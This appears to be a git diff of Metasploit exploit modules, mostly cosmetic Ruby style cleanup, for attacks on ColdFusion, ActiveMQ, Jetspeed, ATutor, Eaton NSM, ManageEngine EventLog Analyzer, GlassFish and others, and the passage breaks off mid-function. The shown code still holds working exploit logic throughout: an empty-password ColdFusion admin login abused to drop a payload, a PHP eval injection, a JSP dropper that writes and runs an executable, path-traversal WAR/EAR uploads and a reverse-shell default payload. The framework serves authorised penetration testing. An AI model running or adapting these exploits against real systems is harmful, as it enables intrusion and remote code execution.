rand_text_alpha(rand(3..17)) if target['Platform'] == 'win' - fname << ".exe" + fname << '.exe' end - fhandle = rand_text_alpha(3 + rand(15)) + fhandle = rand_text_alpha(rand(3..17)) # Write maple commands to create executable content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n" @@ -131,9 +130,9 @@ class MetasploitModule < Msf::Exploit::Remote lines.push ",#{exe[byte]}" end end - content << lines.join("") + "]);\r\n" + content << lines.join('') + "]);\r\n" - content << "fclose(" + fhandle + ");\n" + content << 'fclose(' + fhandle + ");\n" # Write command to be executed if target['Platform'] != 'win' content << "system(\"chmod a+x #{fname}\");\n" diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb index 209b4a5d70..4c0a29547a 100644 --- a/modules/exploits/multi/fileformat/swagger_param_inject.rb +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote end def swagger - %Q( + %( { "swagger": "2.0", "info": { @@ -143,14 +143,14 @@ class MetasploitModule < Msf::Exploit::Remote payload_suffix when 'ruby' payload_loc = 'INFO_TITLE' - payload_prefix = "=end " - payload_suffix = "=begin " + payload_prefix = '=end ' + payload_suffix = '=begin ' wrapped_payload = payload_prefix + payload.encoded + payload_suffix when 'java' payload_loc = 'PATH' payload_prefix = %q{a\\\"; "} p = payload.encoded.gsub(/<%@page import="/, 'import ') - p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') + p = p.gsub(/"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') p = p.gsub(/"/, '\\"').gsub(/\n/, ' ') wrapped_payload = payload_prefix + p else diff --git a/modules/exploits/multi/http/apache_activemq_upload_jsp.rb b/modules/exploits/multi/http/apache_activemq_upload_jsp.rb index 98ab01e90d..4bfa205f84 100644 --- a/modules/exploits/multi/http/apache_activemq_upload_jsp.rb +++ b/modules/exploits/multi/http/apache_activemq_upload_jsp.rb @@ -86,16 +86,15 @@ class MetasploitModule < Msf::Exploit::Remote def exploit jar_payload = payload.encoded_jar.pack - payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) + payload_name = datastore['JSP'] || rand_text_alpha(rand(8..15)) host = "#{datastore['RHOST']}:#{datastore['RPORT']}" @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}" paths = get_upload_paths paths.each do |path| - if try_upload(path, jar_payload, payload_name) - break handler if trigger_payload(payload_name) + next unless try_upload(path, jar_payload, payload_name) + break handler if trigger_payload(payload_name) - print_error('Unable to trigger payload') - end + print_error('Unable to trigger payload') end end diff --git a/modules/exploits/multi/http/apache_jetspeed_file_upload.rb b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb index 4304e6d756..0b7a47692b 100644 --- a/modules/exploits/multi/http/apache_jetspeed_file_upload.rb +++ b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb @@ -41,8 +41,8 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ - ['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'], - ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win'] + ['Apache Jetspeed <= 2.3.0 (Linux)', { 'Platform' => 'linux' }], + ['Apache Jetspeed <= 2.3.0 (Windows)', { 'Platform' => 'win' }] ], 'DefaultTarget' => 0, 'Notes' => { @@ -153,7 +153,7 @@ class MetasploitModule < Msf::Exploit::Remote mime = Rex::MIME::Message.new mime.add_part(zip.pack, 'application/zip', 'binary', - %Q{form-data; name="fileInput"; filename="#{zip_filename}"}) + %(form-data; name="fileInput"; filename="#{zip_filename}")) mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"') mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"') diff --git a/modules/exploits/multi/http/atutor_upload_traversal.rb b/modules/exploits/multi/http/atutor_upload_traversal.rb index 04c24d5414..5d18e02ce3 100644 --- a/modules/exploits/multi/http/atutor_upload_traversal.rb +++ b/modules/exploits/multi/http/atutor_upload_traversal.rb @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution, ', + 'Name' => 'ATutor 2.2.4 - Directory Traversal / Remote Code Execution,', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability together with a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 7ba73ee979..ef1bf510f7 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability", + 'Name' => 'Auxilium RateMyPet Arbitrary File Upload Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in Auxilium RateMyPet's. The site banner uploading feature can be abused to upload an arbitrary file to the web @@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_raw({ 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php") }) - if res and res.body =~ /\Pet Rate Admin \- Banner Manager\<\/title\>/ + if res and res.body =~ %r{Pet Rate Admin - Banner Manager} return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -71,30 +71,30 @@ class MetasploitModule < Msf::Exploit::Remote def upload_exec(base, php_fname, p) data = Rex::MIME::Message.new - data.add_part('http://', nil, nil, "form-data; name=\"burl\"") - data.add_part('', nil, nil, "form-data; name=\"alt\"") + data.add_part('http://', nil, nil, 'form-data; name="burl"') + data.add_part('', nil, nil, 'form-data; name="alt"') data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"") - data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"") + data.add_part(' Upload', nil, nil, 'form-data; name="submitok"') post_data = data.to_s - print_status("Uploading payload (#{p.length.to_s} bytes)...") + print_status("Uploading payload (#{p.length} bytes)...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", - 'data' => post_data, + 'data' => post_data }) - if not res - print_error("No response from host") + if !res + print_error('No response from host') return end print_status("Requesting '#{php_fname}'...") res = send_request_raw({ 'uri' => normalize_uri("#{base}/banners/#{php_fname}") }) if res and res.code == 404 - print_error("Upload unsuccessful: #{res.code.to_s}") + print_error("Upload unsuccessful: #{res.code}") return end @@ -108,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" - p = get_write_exec_payload(:unlink_self => true) + p = get_write_exec_payload(unlink_self: true) upload_exec(base, php_fname, p) end diff --git a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb index 7ec81794b6..1e8c3d8d5b 100644 --- a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb +++ b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Java Universal', { 'Arch' => ARCH_JAVA, - 'Platform' => %w{linux win}, + 'Platform' => %w[linux win], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' } } @@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote 'version' => '1.1', 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=' + mime.bound, - 'data' => post_str, + 'data' => post_str }) unless res && res.code == 200 diff --git a/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb b/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb index 0ee20add54..94daf41ff0 100644 --- a/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb +++ b/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb @@ -35,9 +35,9 @@ class MetasploitModule < Msf::Exploit::Remote ], 'License' => MSF_LICENSE, 'References' => [ - [ "CVE", "2013-0632" ], - [ "EDB", "27755" ], - [ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ] + [ 'CVE', '2013-0632' ], + [ 'EDB', '27755' ], + [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-03.html' ] ], 'Privileged' => false, 'Stance' => Msf::Exploit::Stance::Aggressive, # thanks juan! @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]), + OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', '' ]), OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]), ] ) @@ -87,11 +87,11 @@ class MetasploitModule < Msf::Exploit::Remote # can we access the admin interface? res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'), + 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm') }) if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login') - vprint_good "Administrator access available" + vprint_good 'Administrator access available' else return Exploit::CheckCode::Safe end @@ -103,10 +103,10 @@ class MetasploitModule < Msf::Exploit::Remote }) img = Rex::Text.md5(res.body.to_s) - imghash = "596b3fc4f1a0b818979db1cf94a82220" + imghash = '596b3fc4f1a0b818979db1cf94a82220' if img == imghash - vprint_good "ColdFusion 9 Detected" + vprint_good 'ColdFusion 9 Detected' else return Exploit::CheckCode::Safe end @@ -116,9 +116,9 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'), 'vars_post' => { - 'method' => "login", - 'adminpassword' => "", - 'rdsPasswordAllowed' => "1" + 'method' => 'login', + 'adminpassword' => '', + 'rdsPasswordAllowed' => '1' } }) @@ -131,7 +131,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit @pl = gen_file_dropper - @payload_url = "" + @payload_url = '' if datastore['EXTURL'].blank? begin @@ -166,34 +166,34 @@ class MetasploitModule < Msf::Exploit::Remote # this also removes the dependancy of using the probe.cfm to execute the file. def gen_file_dropper - rand_var = rand_text_alpha(8 + rand(8)) - rand_file = rand_text_alpha(8 + rand(8)) + rand_var = rand_text_alpha(rand(8..15)) + rand_file = rand_text_alpha(rand(8..15)) if datastore['TARGET'] == 0 - rand_file += ".exe" + rand_file += '.exe' end encoded_pl = Rex::Text.encode_base64(generate_payload_exe) - print_status "Building CFML shell..." + print_status 'Building CFML shell...' # embed payload - shell = "" + shell = '' shell += " " shell += " " + shell += ' " + shell += ' arguments = ""' + shell += ' timeout = "60"/>' return shell end @@ -202,9 +202,9 @@ class MetasploitModule < Msf::Exploit::Remote uri = target_uri.path print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}") - print_status("Executing payload...") + print_status('Executing payload...') - res = send_request_cgi({ + send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename) }) @@ -213,17 +213,17 @@ class MetasploitModule < Msf::Exploit::Remote def upload_payload uri = target_uri.path - @filename = rand_text_alpha(8 + rand(8)) + ".cfm" # numbers is a bad idea - taskname = rand_text_alpha(8 + rand(8)) # numbers is a bad idea + @filename = rand_text_alpha(rand(8..15)) + '.cfm' # numbers is a bad idea + taskname = rand_text_alpha(rand(8..15)) # numbers is a bad idea - print_status "Trying to upload payload via scheduled task..." + print_status 'Trying to upload payload via scheduled task...' res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'), 'vars_post' => { - 'method' => "login", - 'adminpassword' => "", - 'rdsPasswordAllowed' => "1" + 'method' => 'login', + 'adminpassword' => '', + 'rdsPasswordAllowed' => '1' } }) @@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote cookie = res.get_cookies if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/ - cookie = $1 + cookie = ::Regexp.last_match(1) else fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie") end @@ -247,7 +247,7 @@ class MetasploitModule < Msf::Exploit::Remote }) if res && res.code == 200 && res.body.include?('ColdFusion Administrator') - print_good("Logged in as Administrator!") + print_good('Logged in as Administrator!') else fail_with(Failure::Unknown, "#{peer} - Login Failed") end @@ -257,7 +257,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'), 'vars_get' => { - 'name' => "/CFIDE" + 'name' => '/CFIDE' }, 'cookie' => cookie }) @@ -267,27 +267,27 @@ class MetasploitModule < Msf::Exploit::Remote end if res.body =~ // - file_path = $1 + file_path = ::Regexp.last_match(1) print_good("File path disclosed! #{file_path}") else fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath") end - print_status("Adding scheduled task") + print_status('Adding scheduled task') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'), 'vars_post' => { 'TaskName' => taskname, - 'Start_Date' => "Nov 1, 2420", - 'End_Date' => "", - 'Interval' => "", - 'ScheduleType' => "Once", - 'Operation' => "HTTPRequest", + 'Start_Date' => 'Nov 1, 2420', + 'End_Date' => '', + 'Interval' => '', + 'ScheduleType' => 'Once', + 'Operation' => 'HTTPRequest', 'ScheduledURL' => @payload_url, - 'publish' => "1", + 'publish' => '1', 'publish_file' => "#{file_path}\\#{@filename}", - 'adminsubmit' => "Submit" + 'adminsubmit' => 'Submit' }, 'cookie' => cookie }) @@ -296,36 +296,36 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Scheduled task failed") end - print_status("Running scheduled task") + print_status('Running scheduled task') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'), 'vars_get' => { 'runtask' => taskname, - 'timeout' => "0" + 'timeout' => '0' }, 'cookie' => cookie }) if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully') - print_good("Scheduled task completed successfully") + print_good('Scheduled task completed successfully') else fail_with(Failure::Unknown, "#{peer} - Scheduled task failed") end - print_status("Deleting scheduled task") + print_status('Deleting scheduled task') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'), 'vars_get' => { - 'action' => "delete", + 'action' => 'delete', 'task' => taskname }, 'cookie' => cookie }) unless res && res.code == 200 - print_error("Scheduled task deletion failed, cleanup might be needed!") + print_error('Scheduled task deletion failed, cleanup might be needed!') end end end diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index 1b12cf9849..8df5cee703 100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -61,10 +61,10 @@ class MetasploitModule < Msf::Exploit::Remote def check # we use a call to phpinfo() for verification - res = execute_php_code("phpinfo();die();") + res = execute_php_code('phpinfo();die();') - if not res or res.code != 200 - vprint_error("Failed: Error requesting page") + if !res or res.code != 200 + vprint_error('Failed: Error requesting page') return CheckCode::Unknown end @@ -73,26 +73,26 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe end - def execute_php_code(code, opts = {}) + def execute_php_code(code, _opts = {}) param_name = rand_text_alpha(6) padding = rand_text_alpha(6) url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f" - res = send_request_cgi( + send_request_cgi( { 'uri' => '/view_list.php', 'method' => 'POST', 'vars_get' => { - 'paneStatusListSortBy' => url_param, + 'paneStatusListSortBy' => url_param }, 'vars_post' => { - param_name => Rex::Text.encode_base64(code), + param_name => Rex::Text.encode_base64(code) }, 'headers' => { - 'Connection' => 'Close', + 'Connection' => 'Close' } } ) @@ -100,14 +100,14 @@ class MetasploitModule < Msf::Exploit::Remote def no_php_tags(p) p = p.gsub(/^<\?php /, '') - p.gsub(/ \?\>$/, '') + p.gsub(/ \?>$/, '') end def exploit print_status("#{rhost}:#{rport} - Sending payload") unlink = (target['Platform'] == 'linux') ? true : false - p = no_php_tags(get_write_exec_payload(:unlink_self => unlink)) + p = no_php_tags(get_write_exec_payload(unlink_self: unlink)) execute_php_code(p) handler diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb index 3e45b02218..5fc874eb43 100644 --- a/modules/exploits/multi/http/eventlog_file_upload.rb +++ b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -83,25 +83,23 @@ class MetasploitModule < Msf::Exploit::Remote def get_version res = send_request_cgi({ - 'uri' => normalize_uri("event/index3.do"), + 'uri' => normalize_uri('event/index3.do'), 'method' => 'GET' }) - if res and res.code == 200 - if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/ - return $1 - end + if res and res.code == 200 && (res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/) + return ::Regexp.last_match(1) end - return "0" + return '0' end def check version = get_version - if version >= "7" and version <= "9" + if version >= '7' and version <= '9' # version 7 to < 8.1 detection res = send_request_cgi({ - 'uri' => normalize_uri("event/agentUpload"), + 'uri' => normalize_uri('event/agentUpload'), 'method' => 'GET' }) if res and res.code == 405 @@ -110,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote # version 8.1+ detection res = send_request_cgi({ - 'uri' => normalize_uri("agentUpload"), + 'uri' => normalize_uri('agentUpload'), 'method' => 'GET' }) if res and res.code == 405 and version == 8 @@ -132,15 +130,15 @@ class MetasploitModule < Msf::Exploit::Remote zip.add_file(target_path, payload) post_data = Rex::MIME::Message.new - post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4 + rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4 + rand(4))}.zip\"") + post_data.add_part(zip.pack, 'application/zip', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(rand(4..7))}\"; filename=\"#{Rex::Text.rand_text_alpha(rand(4..7))}.zip\"") data = post_data.to_s if is_payload - print_status("Uploading payload...") + print_status('Uploading payload...') end res = send_request_cgi({ - 'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")), + 'uri' => (@my_target == targets[1] ? normalize_uri('/event/agentUpload') : normalize_uri('agentUpload')), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" @@ -148,9 +146,9 @@ class MetasploitModule < Msf::Exploit::Remote if res and res.code == 200 and res.body.empty? if is_payload - print_good("Payload uploaded successfully") + print_good('Payload uploaded successfully') end - register_files_for_cleanup(target_path.gsub("../../", "../")) + register_files_for_cleanup(target_path.gsub('../../', '../')) return true else return false @@ -160,19 +158,19 @@ class MetasploitModule < Msf::Exploit::Remote def pick_target return target if target.name != 'Automatic' - print_status("Determining target") + print_status('Determining target') version = get_version - if version == "7" + if version == '7' return targets[1] end - os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + os_finder_payload = %{<%out.println(System.getProperty("os.name"));%>} jsp_name = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp" - target_dir = "../../webapps/event/" - if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) - if version == "8" + target_dir = '../../webapps/event/' + if !create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) + if version == '8' # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method return targets[1] end @@ -198,31 +196,31 @@ class MetasploitModule < Msf::Exploit::Remote end def generate_jsp_payload - opts = { :arch => @my_target.arch, :platform => @my_target.platform } - payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + opts = { arch: @my_target.arch, platform: @my_target.platform } + exploit_regenerate_payload(@my_target.platform, @my_target.arch) exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) - native_payload_name = rand_text_alpha(rand(6) + 3) + native_payload_name = rand_text_alpha(rand(3..8)) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' - var_raw = rand_text_alpha(rand(8) + 3) - var_ostream = rand_text_alpha(rand(8) + 3) - var_buf = rand_text_alpha(rand(8) + 3) - var_decoder = rand_text_alpha(rand(8) + 3) - var_tmp = rand_text_alpha(rand(8) + 3) - var_path = rand_text_alpha(rand(8) + 3) - var_proc2 = rand_text_alpha(rand(8) + 3) + var_raw = rand_text_alpha(rand(3..10)) + var_ostream = rand_text_alpha(rand(3..10)) + var_buf = rand_text_alpha(rand(3..10)) + var_decoder = rand_text_alpha(rand(3..10)) + var_tmp = rand_text_alpha(rand(3..10)) + var_path = rand_text_alpha(rand(3..10)) + var_proc2 = rand_text_alpha(rand(3..10)) if @my_target['Platform'] == 'linux' - var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) - chmod = %Q| + var_proc1 = Rex::Text.rand_text_alpha(rand(3..10)) + chmod = %| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | - var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) - cleanup = %Q| + var_proc3 = Rex::Text.rand_text_alpha(rand(3..10)) + cleanup = %| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | @@ -231,7 +229,7 @@ class MetasploitModule < Msf::Exploit::Remote cleanup = '' end - jsp = %Q| + jsp = %| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% @@ -257,8 +255,8 @@ class MetasploitModule < Msf::Exploit::Remote jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') - jsp = jsp.gsub(/\x0d\x0a/, "") - jsp = jsp.gsub(/\x0a/, "") + jsp = jsp.gsub(/\x0d\x0a/, '') + jsp = jsp.gsub(/\x0a/, '') return jsp end @@ -271,10 +269,10 @@ class MetasploitModule < Msf::Exploit::Remote end jsp_name = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp" - target_dir = "../../webapps/event/" + target_dir = '../../webapps/event/' jsp_payload = generate_jsp_payload - if not create_zip_and_upload(jsp_payload, target_dir + jsp_name) + if !create_zip_and_upload(jsp_payload, target_dir + jsp_name) fail_with(Failure::Unknown, "#{peer} - Payload upload failed") end @@ -284,32 +282,32 @@ class MetasploitModule < Msf::Exploit::Remote def exploit_java # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. - if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/ + if @my_target['Platform'] == 'java' and !(payload_instance.name =~ /Java/) fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.") end - target_dir = "../../server/default/deploy/" + target_dir = '../../server/default/deploy/' # First we generate the WAR with the payload... war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) - war_payload = payload.encoded_war({ :app_name => war_app_base }) + war_payload = payload.encoded_war({ app_name: war_app_base }) # ... and then we create an EAR file that will contain it. ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) - app_xml = %Q{#{rand_text_alphanumeric(4 + rand(32 - 4))}#{war_app_base + ".war"}/#{ear_app_base}} + app_xml = %(#{rand_text_alphanumeric(4 + rand(32 - 4))}#{war_app_base + '.war'}/#{ear_app_base}) # Zipping with CM_STORE to avoid errors while decompressing the zip # in the Java vulnerable application ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) - ear_file.add_file(war_app_base + ".war", war_payload.to_s) - ear_file.add_file("META-INF/application.xml", app_xml) - ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" + ear_file.add_file(war_app_base + '.war', war_payload.to_s) + ear_file.add_file('META-INF/application.xml', app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear' - if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) + if !create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) fail_with(Failure::Unknown, "#{peer} - Payload upload failed") end - print_status("Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...") + print_status('Waiting ' + datastore['SLEEP'].to_s + ' seconds for EAR deployment...') sleep(datastore['SLEEP']) return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4))) end @@ -322,7 +320,7 @@ class MetasploitModule < Msf::Exploit::Remote @my_target = pick_target if @my_target.nil? - print_error("Unable to select a target, we must bail.") + print_error('Unable to select a target, we must bail.') return else print_status("Selected target #{@my_target.name}") @@ -334,7 +332,7 @@ class MetasploitModule < Msf::Exploit::Remote exploit_path = exploit_native end - print_status("Executing payload...") + print_status('Executing payload...') send_request_cgi({ 'uri' => normalize_uri(exploit_path), 'method' => 'GET' diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 4218d05310..568c9caaef 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution", + 'Name' => 'Sun/Oracle GlassFish Server Authenticated Code Execution', 'Description' => %q{ This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('APP_RPORT', [ true, 'The Application interface port', '8080']), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', '' ]), - OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']), + OptString.new('TARGETURI', [ true, 'The URI path of the GlassFish Server', '/']), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]) ] ) @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => path, 'method' => method, 'data' => data, - 'headers' => headers, + 'headers' => headers }) unless res @@ -96,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote # Return target # def auto_target(session, res, version) - print_status("Attempting to automatically select a target...") + print_status('Attempting to automatically select a target...') res = query_serverinfo(session, version) return nil unless res @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote ln.chomp! case ln when /os\.name = (.*)/ - os = $1 + os = ::Regexp.last_match(1) case os when /Windows/ return 'win' @@ -148,7 +148,7 @@ class MetasploitModule < Msf::Exploit::Remote ln.chomp! case ln when /os\.arch = (.*)/ - ar = $1 + ar = ::Regexp.last_match(1) case ar when 'x86', 'i386', 'i686' return ARCH_X86 @@ -166,14 +166,14 @@ class MetasploitModule < Msf::Exploit::Remote res = '' if version == '2.x' || version == '9.x' - path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report" + path = '/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report' res = send_glassfish_request(path, @verbs['GET'], session) else - path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report" + path = '/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report' res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/ - path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server" + path = '/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server' res = send_glassfish_request(path, @verbs['GET'], session) end end @@ -195,22 +195,22 @@ class MetasploitModule < Msf::Exploit::Remote res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 - print_error("Failed (#{res.code.to_s}): Error requesting #{path}") + print_error("Failed (#{res.code}): Error requesting #{path}") return nil end - input_id = "javax.faces.ViewState" + input_id = 'javax.faces.ViewState' p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/ viewstate = res.body.scan(p)[0][0] entry = nil - p = // + p = %r{} results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] - entry << "col0:select" + entry << 'col0:select' end end @@ -219,29 +219,29 @@ class MetasploitModule < Msf::Exploit::Remote res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 - print_error("Failed (#{res.code.to_s}): Error requesting #{path}") + print_error("Failed (#{res.code}): Error requesting #{path}") return nil end viewstate = get_viewstate(res.body) entry = nil - p = // + p = %r{} results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] - entry << "col0:select" + entry << 'col0:select' end end end if !viewstate - print_error("Failed: Error getting ViewState") + print_error('Failed: Error getting ViewState') return nil elsif !entry - print_error("Failed: Error getting the entry to delete") + print_error('Failed: Error getting the entry to delete') end return viewstate, entry @@ -253,20 +253,20 @@ class MetasploitModule < Msf::Exploit::Remote def undeploy(viewstate, session, entry) # Send undeployment request data = [ - "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=", - "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false", + 'propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=', + '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false', "&#{Rex::Text.uri_encode(entry)}=true", - "&propertyForm%3AhelpKey=ref-applications.html", - 